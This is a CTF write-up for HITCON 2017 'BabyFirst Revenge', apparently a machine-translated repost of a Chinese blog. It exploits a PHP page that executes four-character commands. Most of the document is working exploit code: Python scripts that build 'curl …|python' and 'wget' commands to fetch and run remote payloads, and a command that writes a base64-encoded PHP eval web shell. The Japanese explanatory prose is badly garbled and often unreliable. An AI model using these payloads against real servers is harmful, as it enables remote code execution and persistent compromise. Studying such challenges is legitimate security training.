HITCON2017 BabyFirstリベンジ(短いコマンド)

0x01のソース

<?php
    $sandbox = '/www/sandbox/' . md5("orange" . $_SERVER['REMOTE_ADDR']);
    @mkdir($sandbox);
    @chdir($sandbox);
    if (isset($_GET['cmd']) && strlen($_GET['cmd']) <= 4) {
        @exec($_GET['cmd']);
    } else if (isset($_GET['reset'])) {
        @exec('/bin/rm -rf ' . $sandbox);
    }
    highlight_file(__FILE__);

ここでは、直接リリースペイロード

import requests
from urllib import quote

payload = [
    # 将 "g> ht- sl" 写到文件 "v"
    '>dir', 
    '>sl', 
    '>g\>',
    '>ht-',
    '*>v',

    # 将文件"v"中的字符串倒序,放到文件"x",就变成了 "ls -th >g"
    '>rev',
    '*v>x',

    # 生成命令 "curl orange.tw|python;"
    '>\;\\',
    '>sh\\', 
    '>ba\\', 
    '>\|\\',
    '>29\\',  
    '>1\\',
    '>0.\\', 
    '>13\\', 
    '>8.\\',
    '>16\\', 
    '>2.\\', 
    '>19\\', 
    '>\ \\', 
    '>rl\\', 
    '>cu\\', 

    # getshell
    'sh x', 
    'sh g', 
]


r = requests.get('http://52.197.41.31/?reset=1')
for i in payload:
    r = requests.get('http://52.197.41.31/?cmd=' + quote(i) )


  • dirここで使用される、ようなコマンドと、理由がdirあるためされるls出力は、アルファベット内に配置され、それが使用されるdir最初の行Aに
  • *コマンドを実行するコマンドとしてファイルに現在のディレクトリが持っアップステッチされ
    ここに画像を挿入説明
    、次の等価を行いdir 'g>' ht- rev sl、これらの文書の出力がされて
    ここに画像を挿入説明
    実行さ同等の下にdir、ここではすべてのファイルが、の出力を一致させるために実施されたdirコマンドファイルを
    ここに画像を挿入説明

私たちが実行して*>v、用ファイルvの内容ので、g> ht- sl
私たちは、その後、実行> REV REVファイルの名前を作成
してから、* vはREV vの実装に相当し、実行逆さまにその中に、このようなファイルの内容をV、および作らg> ht- slへの変更をls -th >g

  • ファイル名がないことに注意してください.、私はubuntu18.04上だし、それは問題のバージョンであること、で始まるが可能です

  • なお、ファイルの名前を繰り返すことはできません

  • 論理的には、>ls\\\\名前を生成するために、ls\ファイル、I ubuntu18.04は、PHP7とPHP5、Apache2の成功を再現しませんが、過去記事のみ必要と上記の書かれている\、徹底的に理解していなかった、兄はアドバイスを取得してください。

あなたは他のペイロードを参照することができます

import requests

def exec_sub(cmd):
    resp = requests.post("http://52.199.204.34/?cmd="+cmd).text

def exec(cmd):
    for x in cmd:
        print(x)
        if cmd[-1]==x:
            exec_sub(">%s" % x)
            exec_sub("ls>>\\")
            exec_sub("rm %s" % x)          
        elif x==" ":
            exec_sub(">\\ \\")
            exec_sub("ls>>\\")
            exec_sub("rm ?\\")
        else:
            exec_sub(">%s\\" % x)
            exec_sub("ls>>\\")
            exec_sub("rm %s\\" % x)
    exec_sub("sh \\")

exec("wget 1759614952")

置き換え小数をキャッチここで直接IPに
私が再現可能なとき、私は、地元の127.0.0.1にリバウンドシェルに直接書き込む小数のwgetの127.0.0.1が、私は時間がデータを返さないために見つけ、私は再び入れますVPS上で、返されたデータで見つけることができ、これはまた、非常にそれがどのように理解されていない、兄は~~アドバイスを取得してください。

また、我々はまた、単語に直接書き込むことができます

echo PD9waHAgZXZhbCgkX0dFVFsxXSk7|base64 ‐d>1.php

しかし、我々はノートに必要な、我々は他の文字に置き換えられた空間に相当必要になりますので、二つの空間があるということです
ので、の:

echo${IFS}PD9waHAgZXZhbCgkX0dFVFsxXSk7|base64 ‐d>1.php

ペイロード:

#!/usr/bin/python
# ‐*‐ coding: UTF‐8 ‐*‐

import requests

url = "http://192.168.61.157/?cmd={0}"
print("[+]start attack!!!")
with open("payload.txt","r") as f:
for i in f:
print("[*]" + url.format(i.strip()))
requests.get(url.format(i.strip()))

#检查是否攻击成功
test = requests.get("http://192.168.61.157/1.php")
if test.status_code == requests.codes.ok:
print("[*]Attack success!!!")

また、この質問は、データベースからデータを読み取る必要があるが、私は、ファイルへの結果の保存、どのような方法でお持ち帰りを使用して、ファイルデータのコンテンツへのアクセスを得ることができるようにデータベースが、エコーしません
ここに画像を挿入説明
https://www.jianshu.comを/ P / 5aad993c793e
ここでは、他の多くの方法、利点を紹介します~~

公開された47元の記事 ウォンの賞賛2 ビュー3122

おすすめ

転載: blog.csdn.net/a3320315/article/details/103942978